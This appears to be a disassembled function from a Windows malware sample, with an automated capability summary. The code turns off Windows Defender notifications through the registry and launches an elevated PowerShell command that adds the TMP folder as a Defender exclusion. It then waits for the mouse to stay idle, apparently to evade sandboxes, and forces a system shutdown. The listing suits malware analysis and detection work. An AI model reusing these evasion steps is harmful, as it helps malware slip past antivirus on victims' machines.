Function at 0x140002ab0
Capabilities:
Create process on windows
Disable windows defender features via registry on windows
Set registry value
Shutdown system

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
lea r13, str.SoftwareMicrosoftWindows_Defender_Security_CenterNotifications
xor r9d, r9d
xor r8d, r8d
mov r12, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rdx, r13
mov rcx, 0xffffffff80000002
lea rbp, [rsp + 0x58]
mov dword [rsp + 0x54], 1
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
call r12
mov ebx, eax
test eax, eax
je 0x140001750
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
call rdi
mov ecx, ebx
mov rsi, qword [sym.imp.KERNEL32.dll_SetLastError]
call rsi
mov qword [rsp + 0x38], rbp
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], 0
mov rdx, r13
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
call r12
mov ebx, eax
test eax, eax
je 0x1400017d0
call rdi
mov ecx, ebx
call rsi
mov qword [rsp + 0x38], rbp
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], 0
lea rdx, str.SoftwarePoliciesMicrosoftWindows_Defender_Security_CenterNotifications
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
call r12
mov ebx, eax
test eax, eax
je 0x140001790
call rdi
xor r12d, r12d
mov ecx, ebx
xor edi, edi
call rsi
xor r15d, r15d
lea r9, str._inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath__ENV:TMP
xor ecx, ecx
lea r8, str.powershell
lea rdx, str.runas
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x927c0
call r13
mov r14, qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [rsp + 0x58], 0
jmp 0x1400016f8
mov ecx, 0x2710
xor r15d, r15d
call r13
mov r12d, esi
mov edi, ebx
mov rcx, rbp
call r14
mov ebx, dword [rsp + 0x58]
mov esi, dword [rsp + 0x5c]
cmp ebx, edi
jne 0x1400016e8
cmp r12d, esi
jne 0x1400016e8
add r15d, 1
mov ecx, 0x2710
call r13
cmp r15d, 7
jne 0x1400016f3
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r9d, 7
call qword [sym.imp.ADVAPI32.dll_InitiateShutdownA]
xor eax, eax
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x54]
mov rcx, qword [rsp + 0x58]
mov r9d, 4
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.DisableNotifications
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400015df
lea rax, [rsp + 0x54]
mov rcx, qword [rsp + 0x58]
mov r9d, 4
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.DisableEnhancedNotifications
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001685
lea rax, [rsp + 0x54]
mov rcx, qword [rsp + 0x58]
mov r9d, 4
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.DisableEnhancedNotifications
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001637
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.1400018c0
call fcn.140002900
mov rbx, qword [rax]
test rbx, rbx
jne 0x140002afb
jmp 0x140002b71
test cl, cl
je 0x140002b28
and esi, 1
je 0x140002b10
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x140002af7
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x140002ad8
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x140002ae6
test cl, cl
je 0x140002b28
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x140002b28
cmp al, 0x20
jle 0x140002b18
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x140002b56
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x1400044c0]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140001570
lea rbx, [0x140004140]
jmp 0x140002b28